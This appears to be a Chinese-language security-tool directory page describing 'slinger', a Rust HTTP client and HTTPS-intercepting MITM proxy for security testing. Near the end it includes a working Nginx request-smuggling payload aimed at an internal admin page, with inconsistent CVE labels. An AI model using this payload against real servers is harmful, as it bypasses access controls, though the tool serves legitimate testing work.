Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
slinger — 一个专为安全研究人员开发的HTTP客户端 | Kitploit
工具/GitHubGitHub/emo-crab/slinger
漏洞分析Web代理与拦截API安全测试Web安全渗透测试
GitHubemo-crab/slinger

slinger

一个专为安全研究人员开发的HTTP客户端

查看仓库
302616天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

Contributors Forks Stargazers Issues MIT License crates io


标志

slinger(投石器)

一个为黑客设计的 Rust HTTP 客户端。
浏览文档 »

查看演示 · 报告 Bug · 请求功能

关于项目

产品截图

Slinger 是一个工作区,包含以下内容:

slinger

一个为黑客设计的 Rust 核心 HTTP 客户端库。

  • 可定制的重定向策略
  • http/https 与 socks5/socks5h 代理
  • Cookie 存储
  • 原始 Socket 请求
  • 基于 TLS 的 HTTPS

slinger-mitm

一个中间人(MITM)代理,支持透明的 HTTPS 流量拦截,类似于 Burp Suite。

  • 自动 CA 证书生成,并改进了证书管理(灵感来自 hudsucker)
  • 高性能证书缓存
  • 使用 rustls 后端的透明 HTTPS 拦截
  • 流量拦截与修改接口
  • 随机序列号与时钟偏移处理
  • 复用 slinger 的 Socket 实现
  • 极少的外部依赖

(回到顶部)

快速开始

使用 slinger(HTTP 客户端)

此示例启用了一些可选功能,因此你的 Cargo.toml 可能如下所示:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

然后是代码:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

使用 slinger-mitm(MITM 代理)

添加到你的 Cargo.toml 中:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

示例代码:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

有关 MITM 代理使用的更多详细信息,请参阅 slinger-mitm/README.md。

功能特性

Slinger 支持以下可选功能:

  • tls - TLS 基础功能(在不指定后端的情况下启用 TLS 类型和接口)
  • rustls - 使用 Rustls 的 HTTPS 支持(需要 tls,纯 Rust 实现)
  • http2 - HTTP/2 协议支持(需要 TLS 后端)
  • cookie - Cookie 处理支持
  • charset - 字符编码支持
  • serde - 序列化/反序列化支持
  • gzip - Gzip 压缩支持
  • schema - JSON Schema 支持

TLS 后端选择

要使用 TLS,你必须:

  1. 启用 tls 功能
  2. 选择 rustls 后端,或者提供自定义 TLS 连接器

功能组合示例:

root@kitploit:~
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

自定义 TLS 后端(例如 native-tls、OpenSSL)

如果你想使用 native-tls、OpenSSL 或其他 TLS 库,你可以实现自定义 TLS 连接器。 完整的 native-tls 集成示例请参阅 native_tls_example.rs。

示例

  • Nginx - HTTP 请求走私 CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

更多示例请参阅 示例

(回到顶部)

贡献

贡献是让开源社区成为一个如此奇妙的学习、激励和创造之地。我们非常感谢你做出的任何贡献。

如果你有改进建议,请 fork 本仓库并创建 pull request。你也可以直接提交一个带有 "enhancement" 标签的 issue。 别忘了给项目点个 Star!再次感谢!

  1. Fork 本项目
  2. 创建你的功能分支(git checkout -b feature/AmazingFeature)
  3. 提交你的更改(git commit -m 'Add some AmazingFeature')
  4. 推送到分支(git push origin feature/AmazingFeature)
  5. 发起 Pull Request

(回到顶部)

许可证

基于 GPL-3.0-only 许可证分发。更多信息请参阅 LICENSE。

(回到顶部)

联系方式

你的名字 - @Kali_Team - [email protected]

项目链接: https://github.com/emo-crab/slinger

(回到顶部)

致谢

  • reqwest

(回到顶部)

下载工具